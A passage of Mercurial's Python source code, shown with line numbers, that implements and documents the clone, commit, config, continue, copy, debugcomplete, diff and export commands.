1862 1862 For efficiency, hardlinks are used for cloning whenever the
1863 1863 source and destination are on the same filesystem (note this
1864 1864 applies only to the repository data, not to the working
1865 1865 directory). Some filesystems, such as AFS, implement hardlinking
1866 1866 incorrectly, but do not report errors. In these cases, use the
1867 1867 --pull option to avoid hardlinking.
1868 1868
1869 1869 Mercurial will update the working directory to the first applicable
1870 1870 revision from this list:
1871 1871
1872 1872 a) null if -U or the source repository has no changesets
1873 1873 b) if -u . and the source repository is local, the first parent of
1874 1874 the source repository's working directory
1875 1875 c) the changeset specified with -u (if a branch name, this means the
1876 1876 latest head of that branch)
1877 1877 d) the changeset specified with -r
1878 1878 e) the tipmost head specified with -b
1879 1879 f) the tipmost head specified with the url#branch source syntax
1880 1880 g) the revision marked with the '@' bookmark, if present
1881 1881 h) the tipmost head of the default branch
1882 1882 i) tip
1883 1883
1884 1884 When cloning from servers that support it, Mercurial may fetch
1885 1885 pre-generated data from a server-advertised URL or inline from the
1886 1886 same stream. When this is done, hooks operating on incoming changesets
1887 1887 and changegroups may fire more than once, once for each pre-generated
1888 1888 bundle and as well as for any additional remaining data. In addition,
1889 1889 if an error occurs, the repository may be rolled back to a partial
1890 1890 clone. This behavior may change in future releases.
1891 1891 See :hg:`help -e clonebundles` for more.
1892 1892
1893 1893 Examples:
1894 1894
1895 1895 - clone a remote repository to a new directory named hg/::
1896 1896
1897 1897 hg clone https://www.mercurial-scm.org/repo/hg/
1898 1898
1899 1899 - create a lightweight local clone::
1900 1900
1901 1901 hg clone project/ project-feature/
1902 1902
1903 1903 - clone from an absolute path on an ssh server (note double-slash)::
1904 1904
1905 1905 hg clone ssh://user@server//home/projects/alpha/
1906 1906
1907 1907 - do a streaming clone while checking out a specified version::
1908 1908
1909 1909 hg clone --stream http://server/repo -u 1.5
1910 1910
1911 1911 - create a repository without changesets after a particular revision::
1912 1912
1913 1913 hg clone -r 04e544 experimental/ good/
1914 1914
1915 1915 - clone (and track) a particular named branch::
1916 1916
1917 1917 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1918 1918
1919 1919 See :hg:`help urls` for details on specifying URLs.
1920 1920
1921 1921 Returns 0 on success.
1922 1922 """
1923 1923 opts = pycompat.byteskwargs(opts)
1924 1924 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1925 1925
1926 1926 # --include/--exclude can come from narrow or sparse.
1927 1927 includepats, excludepats = None, None
1928 1928
1929 1929 # hg.clone() differentiates between None and an empty set. So make sure
1930 1930 # patterns are sets if narrow is requested without patterns.
1931 1931 if opts.get(b'narrow'):
1932 1932 includepats = set()
1933 1933 excludepats = set()
1934 1934
1935 1935 if opts.get(b'include'):
1936 1936 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1937 1937 if opts.get(b'exclude'):
1938 1938 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1939 1939
1940 1940 r = hg.clone(
1941 1941 ui,
1942 1942 opts,
1943 1943 source,
1944 1944 dest,
1945 1945 pull=opts.get(b'pull'),
1946 1946 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1947 1947 revs=opts.get(b'rev'),
1948 1948 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1949 1949 branch=opts.get(b'branch'),
1950 1950 shareopts=opts.get(b'shareopts'),
1951 1951 storeincludepats=includepats,
1952 1952 storeexcludepats=excludepats,
1953 1953 depth=opts.get(b'depth') or None,
1954 1954 )
1955 1955
1956 1956 return r is None
1957 1957
1958 1958
1959 1959 @command(
1960 1960 b'commit|ci',
1961 1961 [
1962 1962 (
1963 1963 b'A',
1964 1964 b'addremove',
1965 1965 None,
1966 1966 _(b'mark new/missing files as added/removed before committing'),
1967 1967 ),
1968 1968 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1969 1969 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1970 1970 (b's', b'secret', None, _(b'use the secret phase for committing')),
1971 1971 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1972 1972 (
1973 1973 b'',
1974 1974 b'force-close-branch',
1975 1975 None,
1976 1976 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1977 1977 ),
1978 1978 (b'i', b'interactive', None, _(b'use interactive mode')),
1979 1979 ]
1980 1980 + walkopts
1981 1981 + commitopts
1982 1982 + commitopts2
1983 1983 + subrepoopts,
1984 1984 _(b'[OPTION]... [FILE]...'),
1985 1985 helpcategory=command.CATEGORY_COMMITTING,
1986 1986 helpbasic=True,
1987 1987 inferrepo=True,
1988 1988 )
1989 1989 def commit(ui, repo, *pats, **opts):
1990 1990 """commit the specified files or all outstanding changes
1991 1991
1992 1992 Commit changes to the given files into the repository. Unlike a
1993 1993 centralized SCM, this operation is a local operation. See
1994 1994 :hg:`push` for a way to actively distribute your changes.
1995 1995
1996 1996 If a list of files is omitted, all changes reported by :hg:`status`
1997 1997 will be committed.
1998 1998
1999 1999 If you are committing the result of a merge, do not provide any
2000 2000 filenames or -I/-X filters.
2001 2001
2002 2002 If no commit message is specified, Mercurial starts your
2003 2003 configured editor where you can enter a message. In case your
2004 2004 commit fails, you will find a backup of your message in
2005 2005 ``.hg/last-message.txt``.
2006 2006
2007 2007 The --close-branch flag can be used to mark the current branch
2008 2008 head closed. When all heads of a branch are closed, the branch
2009 2009 will be considered closed and no longer listed.
2010 2010
2011 2011 The --amend flag can be used to amend the parent of the
2012 2012 working directory with a new commit that contains the changes
2013 2013 in the parent in addition to those currently reported by :hg:`status`,
2014 2014 if there are any. The old commit is stored in a backup bundle in
2015 2015 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2016 2016 on how to restore it).
2017 2017
2018 2018 Message, user and date are taken from the amended commit unless
2019 2019 specified. When a message isn't specified on the command line,
2020 2020 the editor will open with the message of the amended commit.
2021 2021
2022 2022 It is not possible to amend public changesets (see :hg:`help phases`)
2023 2023 or changesets that have children.
2024 2024
2025 2025 See :hg:`help dates` for a list of formats valid for -d/--date.
2026 2026
2027 2027 Returns 0 on success, 1 if nothing changed.
2028 2028
2029 2029 .. container:: verbose
2030 2030
2031 2031 Examples:
2032 2032
2033 2033 - commit all files ending in .py::
2034 2034
2035 2035 hg commit --include "set:**.py"
2036 2036
2037 2037 - commit all non-binary files::
2038 2038
2039 2039 hg commit --exclude "set:binary()"
2040 2040
2041 2041 - amend the current commit and set the date to now::
2042 2042
2043 2043 hg commit --amend --date now
2044 2044 """
2045 2045 with repo.wlock(), repo.lock():
2046 2046 return _docommit(ui, repo, *pats, **opts)
2047 2047
2048 2048
2049 2049 def _docommit(ui, repo, *pats, **opts):
2050 2050 if opts.get('interactive'):
2051 2051 opts.pop('interactive')
2052 2052 ret = cmdutil.dorecord(
2053 2053 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2054 2054 )
2055 2055 # ret can be 0 (no changes to record) or the value returned by
2056 2056 # commit(), 1 if nothing changed or None on success.
2057 2057 return 1 if ret == 0 else ret
2058 2058
2059 2059 opts = pycompat.byteskwargs(opts)
2060 2060 if opts.get(b'subrepos'):
2061 2061 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'amend'])
2062 2062 # Let --subrepos on the command line override config setting.
2063 2063 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2064 2064
2065 2065 cmdutil.checkunfinished(repo, commit=True)
2066 2066
2067 2067 branch = repo[None].branch()
2068 2068 bheads = repo.branchheads(branch)
2069 2069 tip = repo.changelog.tip()
2070 2070
2071 2071 extra = {}
2072 2072 if opts.get(b'close_branch') or opts.get(b'force_close_branch'):
2073 2073 extra[b'close'] = b'1'
2074 2074
2075 2075 if repo[b'.'].closesbranch():
2076 2076 raise error.InputError(
2077 2077 _(b'current revision is already a branch closing head')
2078 2078 )
2079 2079 elif not bheads:
2080 2080 raise error.InputError(
2081 2081 _(b'branch "%s" has no heads to close') % branch
2082 2082 )
2083 2083 elif (
2084 2084 branch == repo[b'.'].branch()
2085 2085 and repo[b'.'].node() not in bheads
2086 2086 and not opts.get(b'force_close_branch')
2087 2087 ):
2088 2088 hint = _(
2089 2089 b'use --force-close-branch to close branch from a non-head'
2090 2090 b' changeset'
2091 2091 )
2092 2092 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2093 2093 elif opts.get(b'amend'):
2094 2094 if (
2095 2095 repo[b'.'].p1().branch() != branch
2096 2096 and repo[b'.'].p2().branch() != branch
2097 2097 ):
2098 2098 raise error.InputError(_(b'can only close branch heads'))
2099 2099
2100 2100 if opts.get(b'amend'):
2101 2101 if ui.configbool(b'ui', b'commitsubrepos'):
2102 2102 raise error.InputError(
2103 2103 _(b'cannot amend with ui.commitsubrepos enabled')
2104 2104 )
2105 2105
2106 2106 old = repo[b'.']
2107 2107 rewriteutil.precheck(repo, [old.rev()], b'amend')
2108 2108
2109 2109 # Currently histedit gets confused if an amend happens while histedit
2110 2110 # is in progress. Since we have a checkunfinished command, we are
2111 2111 # temporarily honoring it.
2112 2112 #
2113 2113 # Note: eventually this guard will be removed. Please do not expect
2114 2114 # this behavior to remain.
2115 2115 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2116 2116 cmdutil.checkunfinished(repo)
2117 2117
2118 2118 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2119 2119 if node == old.node():
2120 2120 ui.status(_(b"nothing changed\n"))
2121 2121 return 1
2122 2122 else:
2123 2123
2124 2124 def commitfunc(ui, repo, message, match, opts):
2125 2125 overrides = {}
2126 2126 if opts.get(b'secret'):
2127 2127 overrides[(b'phases', b'new-commit')] = b'secret'
2128 2128
2129 2129 baseui = repo.baseui
2130 2130 with baseui.configoverride(overrides, b'commit'):
2131 2131 with ui.configoverride(overrides, b'commit'):
2132 2132 editform = cmdutil.mergeeditform(
2133 2133 repo[None], b'commit.normal'
2134 2134 )
2135 2135 editor = cmdutil.getcommiteditor(
2136 2136 editform=editform, **pycompat.strkwargs(opts)
2137 2137 )
2138 2138 return repo.commit(
2139 2139 message,
2140 2140 opts.get(b'user'),
2141 2141 opts.get(b'date'),
2142 2142 match,
2143 2143 editor=editor,
2144 2144 extra=extra,
2145 2145 )
2146 2146
2147 2147 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2148 2148
2149 2149 if not node:
2150 2150 stat = cmdutil.postcommitstatus(repo, pats, opts)
2151 2151 if stat.deleted:
2152 2152 ui.status(
2153 2153 _(
2154 2154 b"nothing changed (%d missing files, see "
2155 2155 b"'hg status')\n"
2156 2156 )
2157 2157 % len(stat.deleted)
2158 2158 )
2159 2159 else:
2160 2160 ui.status(_(b"nothing changed\n"))
2161 2161 return 1
2162 2162
2163 2163 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2164 2164
2165 2165 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2166 2166 status(
2167 2167 ui,
2168 2168 repo,
2169 2169 modified=True,
2170 2170 added=True,
2171 2171 removed=True,
2172 2172 deleted=True,
2173 2173 unknown=True,
2174 2174 subrepos=opts.get(b'subrepos'),
2175 2175 )
2176 2176
2177 2177
2178 2178 @command(
2179 2179 b'config|showconfig|debugconfig',
2180 2180 [
2181 2181 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2182 2182 (b'e', b'edit', None, _(b'edit user config')),
2183 2183 (b'l', b'local', None, _(b'edit repository config')),
2184 2184 (
2185 2185 b'',
2186 2186 b'shared',
2187 2187 None,
2188 2188 _(b'edit shared source repository config (EXPERIMENTAL)'),
2189 2189 ),
2190 2190 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2191 2191 (b'g', b'global', None, _(b'edit global config')),
2192 2192 ]
2193 2193 + formatteropts,
2194 2194 _(b'[-u] [NAME]...'),
2195 2195 helpcategory=command.CATEGORY_HELP,
2196 2196 optionalrepo=True,
2197 2197 intents={INTENT_READONLY},
2198 2198 )
2199 2199 def config(ui, repo, *values, **opts):
2200 2200 """show combined config settings from all hgrc files
2201 2201
2202 2202 With no arguments, print names and values of all config items.
2203 2203
2204 2204 With one argument of the form section.name, print just the value
2205 2205 of that config item.
2206 2206
2207 2207 With multiple arguments, print names and values of all config
2208 2208 items with matching section names or section.names.
2209 2209
2210 2210 With --edit, start an editor on the user-level config file. With
2211 2211 --global, edit the system-wide config file. With --local, edit the
2212 2212 repository-level config file.
2213 2213
2214 2214 With --debug, the source (filename and line number) is printed
2215 2215 for each config item.
2216 2216
2217 2217 See :hg:`help config` for more information about config files.
2218 2218
2219 2219 .. container:: verbose
2220 2220
2221 2221 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2222 2222 This file is not shared across shares when in share-safe mode.
2223 2223
2224 2224 Template:
2225 2225
2226 2226 The following keywords are supported. See also :hg:`help templates`.
2227 2227
2228 2228 :name: String. Config name.
2229 2229 :source: String. Filename and line number where the item is defined.
2230 2230 :value: String. Config value.
2231 2231
2232 2232 The --shared flag can be used to edit the config file of shared source
2233 2233 repository. It only works when you have shared using the experimental
2234 2234 share safe feature.
2235 2235
2236 2236 Returns 0 on success, 1 if NAME does not exist.
2237 2237
2238 2238 """
2239 2239
2240 2240 opts = pycompat.byteskwargs(opts)
2241 2241 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2242 2242 if any(opts.get(o) for o in editopts):
2243 2243 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2244 2244 if opts.get(b'local'):
2245 2245 if not repo:
2246 2246 raise error.InputError(
2247 2247 _(b"can't use --local outside a repository")
2248 2248 )
2249 2249 paths = [repo.vfs.join(b'hgrc')]
2250 2250 elif opts.get(b'global'):
2251 2251 paths = rcutil.systemrcpath()
2252 2252 elif opts.get(b'shared'):
2253 2253 if not repo.shared():
2254 2254 raise error.InputError(
2255 2255 _(b"repository is not shared; can't use --shared")
2256 2256 )
2257 2257 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2258 2258 raise error.InputError(
2259 2259 _(
2260 2260 b"share safe feature not enabled; "
2261 2261 b"unable to edit shared source repository config"
2262 2262 )
2263 2263 )
2264 2264 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2265 2265 elif opts.get(b'non_shared'):
2266 2266 paths = [repo.vfs.join(b'hgrc-not-shared')]
2267 2267 else:
2268 2268 paths = rcutil.userrcpath()
2269 2269
2270 2270 for f in paths:
2271 2271 if os.path.exists(f):
2272 2272 break
2273 2273 else:
2274 2274 if opts.get(b'global'):
2275 2275 samplehgrc = uimod.samplehgrcs[b'global']
2276 2276 elif opts.get(b'local'):
2277 2277 samplehgrc = uimod.samplehgrcs[b'local']
2278 2278 else:
2279 2279 samplehgrc = uimod.samplehgrcs[b'user']
2280 2280
2281 2281 f = paths[0]
2282 2282 fp = open(f, b"wb")
2283 2283 fp.write(util.tonativeeol(samplehgrc))
2284 2284 fp.close()
2285 2285
2286 2286 editor = ui.geteditor()
2287 2287 ui.system(
2288 2288 b"%s \"%s\"" % (editor, f),
2289 2289 onerr=error.InputError,
2290 2290 errprefix=_(b"edit failed"),
2291 2291 blockedtag=b'config_edit',
2292 2292 )
2293 2293 return
2294 2294 ui.pager(b'config')
2295 2295 fm = ui.formatter(b'config', opts)
2296 2296 for t, f in rcutil.rccomponents():
2297 2297 if t == b'path':
2298 2298 ui.debug(b'read config from: %s\n' % f)
2299 2299 elif t == b'resource':
2300 2300 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2301 2301 elif t == b'items':
2302 2302 # Don't print anything for 'items'.
2303 2303 pass
2304 2304 else:
2305 2305 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2306 2306 untrusted = bool(opts.get(b'untrusted'))
2307 2307
2308 2308 selsections = selentries = []
2309 2309 if values:
2310 2310 selsections = [v for v in values if b'.' not in v]
2311 2311 selentries = [v for v in values if b'.' in v]
2312 2312 uniquesel = len(selentries) == 1 and not selsections
2313 2313 selsections = set(selsections)
2314 2314 selentries = set(selentries)
2315 2315
2316 2316 matched = False
2317 2317 for section, name, value in ui.walkconfig(untrusted=untrusted):
2318 2318 source = ui.configsource(section, name, untrusted)
2319 2319 value = pycompat.bytestr(value)
2320 2320 defaultvalue = ui.configdefault(section, name)
2321 2321 if fm.isplain():
2322 2322 source = source or b'none'
2323 2323 value = value.replace(b'\n', b'\\n')
2324 2324 entryname = section + b'.' + name
2325 2325 if values and not (section in selsections or entryname in selentries):
2326 2326 continue
2327 2327 fm.startitem()
2328 2328 fm.condwrite(ui.debugflag, b'source', b'%s: ', source)
2329 2329 if uniquesel:
2330 2330 fm.data(name=entryname)
2331 2331 fm.write(b'value', b'%s\n', value)
2332 2332 else:
2333 2333 fm.write(b'name value', b'%s=%s\n', entryname, value)
2334 2334 if formatter.isprintable(defaultvalue):
2335 2335 fm.data(defaultvalue=defaultvalue)
2336 2336 elif isinstance(defaultvalue, list) and all(
2337 2337 formatter.isprintable(e) for e in defaultvalue
2338 2338 ):
2339 2339 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2340 2340 # TODO: no idea how to process unsupported defaultvalue types
2341 2341 matched = True
2342 2342 fm.end()
2343 2343 if matched:
2344 2344 return 0
2345 2345 return 1
2346 2346
2347 2347
2348 2348 @command(
2349 2349 b'continue',
2350 2350 dryrunopts,
2351 2351 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2352 2352 helpbasic=True,
2353 2353 )
2354 2354 def continuecmd(ui, repo, **opts):
2355 2355 """resumes an interrupted operation (EXPERIMENTAL)
2356 2356
2357 2357 Finishes a multistep operation like graft, histedit, rebase, merge,
2358 2358 and unshelve if they are in an interrupted state.
2359 2359
2360 2360 use --dry-run/-n to dry run the command.
2361 2361 """
2362 2362 dryrun = opts.get('dry_run')
2363 2363 contstate = cmdutil.getunfinishedstate(repo)
2364 2364 if not contstate:
2365 2365 raise error.StateError(_(b'no operation in progress'))
2366 2366 if not contstate.continuefunc:
2367 2367 raise error.StateError(
2368 2368 (
2369 2369 _(b"%s in progress but does not support 'hg continue'")
2370 2370 % (contstate._opname)
2371 2371 ),
2372 2372 hint=contstate.continuemsg(),
2373 2373 )
2374 2374 if dryrun:
2375 2375 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2376 2376 return
2377 2377 return contstate.continuefunc(ui, repo)
2378 2378
2379 2379
2380 2380 @command(
2381 2381 b'copy|cp',
2382 2382 [
2383 2383 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2384 2384 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2385 2385 (
2386 2386 b'',
2387 2387 b'at-rev',
2388 2388 b'',
2389 2389 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2390 2390 _(b'REV'),
2391 2391 ),
2392 2392 (
2393 2393 b'f',
2394 2394 b'force',
2395 2395 None,
2396 2396 _(b'forcibly copy over an existing managed file'),
2397 2397 ),
2398 2398 ]
2399 2399 + walkopts
2400 2400 + dryrunopts,
2401 2401 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2402 2402 helpcategory=command.CATEGORY_FILE_CONTENTS,
2403 2403 )
2404 2404 def copy(ui, repo, *pats, **opts):
2405 2405 """mark files as copied for the next commit
2406 2406
2407 2407 Mark dest as having copies of source files. If dest is a
2408 2408 directory, copies are put in that directory. If dest is a file,
2409 2409 the source must be a single file.
2410 2410
2411 2411 By default, this command copies the contents of files as they
2412 2412 exist in the working directory. If invoked with -A/--after, the
2413 2413 operation is recorded, but no copying is performed.
2414 2414
2415 2415 To undo marking a destination file as copied, use --forget. With that
2416 2416 option, all given (positional) arguments are unmarked as copies. The
2417 2417 destination file(s) will be left in place (still tracked). Note that
2418 2418 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2419 2419
2420 2420 This command takes effect with the next commit by default.
2421 2421
2422 2422 Returns 0 on success, 1 if errors are encountered.
2423 2423 """
2424 2424 opts = pycompat.byteskwargs(opts)
2425 2425 with repo.wlock():
2426 2426 return cmdutil.copy(ui, repo, pats, opts)
2427 2427
2428 2428
2429 2429 @command(
2430 2430 b'debugcommands',
2431 2431 [],
2432 2432 _(b'[COMMAND]'),
2433 2433 helpcategory=command.CATEGORY_HELP,
2434 2434 norepo=True,
2435 2435 )
2436 2436 def debugcommands(ui, cmd=b'', *args):
2437 2437 """list all available commands and options"""
2438 2438 for cmd, vals in sorted(pycompat.iteritems(table)):
2439 2439 cmd = cmd.split(b'|')[0]
2440 2440 opts = b', '.join([i[1] for i in vals[1]])
2441 2441 ui.write(b'%s: %s\n' % (cmd, opts))
2442 2442
2443 2443
2444 2444 @command(
2445 2445 b'debugcomplete',
2446 2446 [(b'o', b'options', None, _(b'show the command options'))],
2447 2447 _(b'[-o] CMD'),
2448 2448 helpcategory=command.CATEGORY_HELP,
2449 2449 norepo=True,
2450 2450 )
2451 2451 def debugcomplete(ui, cmd=b'', **opts):
2452 2452 """returns the completion list associated with the given command"""
2453 2453
2454 2454 if opts.get('options'):
2455 2455 options = []
2456 2456 otables = [globalopts]
2457 2457 if cmd:
2458 2458 aliases, entry = cmdutil.findcmd(cmd, table, False)
2459 2459 otables.append(entry[1])
2460 2460 for t in otables:
2461 2461 for o in t:
2462 2462 if b"(DEPRECATED)" in o[3]:
2463 2463 continue
2464 2464 if o[0]:
2465 2465 options.append(b'-%s' % o[0])
2466 2466 options.append(b'--%s' % o[1])
2467 2467 ui.write(b"%s\n" % b"\n".join(options))
2468 2468 return
2469 2469
2470 2470 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2471 2471 if ui.verbose:
2472 2472 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2473 2473 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2474 2474
2475 2475
2476 2476 @command(
2477 2477 b'diff',
2478 2478 [
2479 2479 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2480 2480 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2481 2481 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2482 2482 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2483 2483 ]
2484 2484 + diffopts
2485 2485 + diffopts2
2486 2486 + walkopts
2487 2487 + subrepoopts,
2488 2488 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2489 2489 helpcategory=command.CATEGORY_FILE_CONTENTS,
2490 2490 helpbasic=True,
2491 2491 inferrepo=True,
2492 2492 intents={INTENT_READONLY},
2493 2493 )
2494 2494 def diff(ui, repo, *pats, **opts):
2495 2495 """diff repository (or selected files)
2496 2496
2497 2497 Show differences between revisions for the specified files.
2498 2498
2499 2499 Differences between files are shown using the unified diff format.
2500 2500
2501 2501 .. note::
2502 2502
2503 2503 :hg:`diff` may generate unexpected results for merges, as it will
2504 2504 default to comparing against the working directory's first
2505 2505 parent changeset if no revisions are specified.
2506 2506
2507 2507 By default, the working directory files are compared to its first parent. To
2508 2508 see the differences from another revision, use --from. To see the difference
2509 2509 to another revision, use --to. For example, :hg:`diff --from .^` will show
2510 2510 the differences from the working copy's grandparent to the working copy,
2511 2511 :hg:`diff --to .` will show the diff from the working copy to its parent
2512 2512 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2513 2513 show the diff between those two revisions.
2514 2514
2515 2515 Alternatively you can specify -c/--change with a revision to see the changes
2516 2516 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2517 2517 equivalent to :hg:`diff --from 42^ --to 42`)
2518 2518
2519 2519 Without the -a/--text option, diff will avoid generating diffs of
2520 2520 files it detects as binary. With -a, diff will generate a diff
2521 2521 anyway, probably with undesirable results.
2522 2522
2523 2523 Use the -g/--git option to generate diffs in the git extended diff
2524 2524 format. For more information, read :hg:`help diffs`.
2525 2525
2526 2526 .. container:: verbose
2527 2527
2528 2528 Examples:
2529 2529
2530 2530 - compare a file in the current working directory to its parent::
2531 2531
2532 2532 hg diff foo.c
2533 2533
2534 2534 - compare two historical versions of a directory, with rename info::
2535 2535
2536 2536 hg diff --git --from 1.0 --to 1.2 lib/
2537 2537
2538 2538 - get change stats relative to the last change on some date::
2539 2539
2540 2540 hg diff --stat --from "date('may 2')"
2541 2541
2542 2542 - diff all newly-added files that contain a keyword::
2543 2543
2544 2544 hg diff "set:added() and grep(GNU)"
2545 2545
2546 2546 - compare a revision and its parents::
2547 2547
2548 2548 hg diff -c 9353 # compare against first parent
2549 2549 hg diff --from 9353^ --to 9353 # same using revset syntax
2550 2550 hg diff --from 9353^2 --to 9353 # compare against the second parent
2551 2551
2552 2552 Returns 0 on success.
2553 2553 """
2554 2554
2555 2555 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2556 2556 opts = pycompat.byteskwargs(opts)
2557 2557 revs = opts.get(b'rev')
2558 2558 change = opts.get(b'change')
2559 2559 from_rev = opts.get(b'from')
2560 2560 to_rev = opts.get(b'to')
2561 2561 stat = opts.get(b'stat')
2562 2562 reverse = opts.get(b'reverse')
2563 2563
2564 2564 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2565 2565 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2566 2566 if change:
2567 2567 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2568 2568 ctx2 = scmutil.revsingle(repo, change, None)
2569 2569 ctx1 = logcmdutil.diff_parent(ctx2)
2570 2570 elif from_rev or to_rev:
2571 2571 repo = scmutil.unhidehashlikerevs(
2572 2572 repo, [from_rev] + [to_rev], b'nowarn'
2573 2573 )
2574 2574 ctx1 = scmutil.revsingle(repo, from_rev, None)
2575 2575 ctx2 = scmutil.revsingle(repo, to_rev, None)
2576 2576 else:
2577 2577 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2578 2578 ctx1, ctx2 = scmutil.revpair(repo, revs)
2579 2579
2580 2580 if reverse:
2581 2581 ctxleft = ctx2
2582 2582 ctxright = ctx1
2583 2583 else:
2584 2584 ctxleft = ctx1
2585 2585 ctxright = ctx2
2586 2586
2587 2587 diffopts = patch.diffallopts(ui, opts)
2588 2588 m = scmutil.match(ctx2, pats, opts)
2589 2589 m = repo.narrowmatch(m)
2590 2590 ui.pager(b'diff')
2591 2591 logcmdutil.diffordiffstat(
2592 2592 ui,
2593 2593 repo,
2594 2594 diffopts,
2595 2595 ctxleft,
2596 2596 ctxright,
2597 2597 m,
2598 2598 stat=stat,
2599 2599 listsubrepos=opts.get(b'subrepos'),
2600 2600 root=opts.get(b'root'),
2601 2601 )
2602 2602
2603 2603
2604 2604 @command(
2605 2605 b'export',
2606 2606 [
2607 2607 (
2608 2608 b'B',
2609 2609 b'bookmark',
2610 2610 b'',
2611 2611 _(b'export changes only reachable by given bookmark'),
2612 2612 _(b'BOOKMARK'),
2613 2613 ),
2614 2614 (
2615 2615 b'o',
2616 2616 b'output',
2617 2617 b'',
2618 2618 _(b'print output to file with formatted name'),
2619 2619 _(b'FORMAT'),
2620 2620 ),
2621 2621 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2622 2622 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2623 2623 ]
2624 2624 + diffopts
2625 2625 + formatteropts,
2626 2626 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2627 2627 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2628 2628 helpbasic=True,
2629 2629 intents={INTENT_READONLY},
2630 2630 )
2631 2631 def export(ui, repo, *changesets, **opts):
2632 2632 """dump the header and diffs for one or more changesets
2633 2633
2634 2634 Print the changeset header and diffs for one or more revisions.
2635 2635 If no revision is given, the parent of the working directory is used.
2636 2636
2637 2637 The information shown in the changeset header is: author, date,
2638 2638 branch name (if non-default), changeset hash, parent(s) and commit
2639 2639 comment.
2640 2640
2641 2641 .. note::
2642 2642
2643 2643 :hg:`export` may generate unexpected diff output for merge
2644 2644 changesets, as it will compare the merge changeset against its
2645 2645 first parent only.
2646 2646
2647 2647 Output may be to a file, in which case the name of the file is
2648 2648 given using a template string. See :hg:`help templates`. In addition
2649 2649 to the common template keywords, the following formatting rules are
2650 2650 supported:
2651 2651
2652 2652 :``%%``: literal "%" character
2653 2653 :``%H``: changeset hash (40 hexadecimal digits)
2654 2654 :``%N``: number of patches being generated
2655 2655 :``%R``: changeset revision number
2656 2656 :``%b``: basename of the exporting repository
2657 2657 :``%h``: short-form changeset hash (12 hexadecimal digits)
2658 2658 :``%m``: first line of the commit message (only alphanumeric characters)
2659 2659 :``%n``: zero-padded sequence number, starting at 1
2660 2660 :``%r``: zero-padded changeset revision number
2661 2661 :``\\``: literal "\\" character
2662 2662
2663 2663 Without the -a/--text option, export will avoid generating diffs
2664 2664 of files it detects as binary. With -a, export will generate a
2665 2665 diff anyway, probably with undesirable results.
2666 2666
2667 2667 With -B/--bookmark changesets reachable by the given bookmark are
2668 2668 selected.
2669 2669
2670 2670 Use the -g/--git option to generate diffs in the git extended diff
2671 2671 format. See :hg:`help diffs` for more information.
2672 2672
2673 2673 With the --switch-parent option, the diff will be against the
2674 2674 second parent. It can be useful to review a merge.
2675 2675
2676 2676 .. container:: verbose
2677 2677
2678 2678 Template:
2679 2679
2680 2680 The following keywords are supported in addition to the common template
2681 2681 keywords and functions. See also :hg:`help templates`.
2682 2682
2683 2683 :diff: String. Diff content.
2684 2684 :parents: List of strings. Parent nodes of the changeset.
2685 2685
2686 2686 Examples:
2687 2687
2688 2688 - use export and import to transplant a bugfix to the current
2689 2689 branch::
2690 2690
2691 2691 hg export -r 9353 | hg import -
2692 2692
2693 2693 - export all the changesets between two revisions to a file with
2694 2694 rename information::
2695 2695
2696 2696 hg export --git -r 123:150 > changes.txt
2697 2697
2698 2698 - split outgoing changes into a series of patches with
2699 2699 descriptive names::
2700 2700
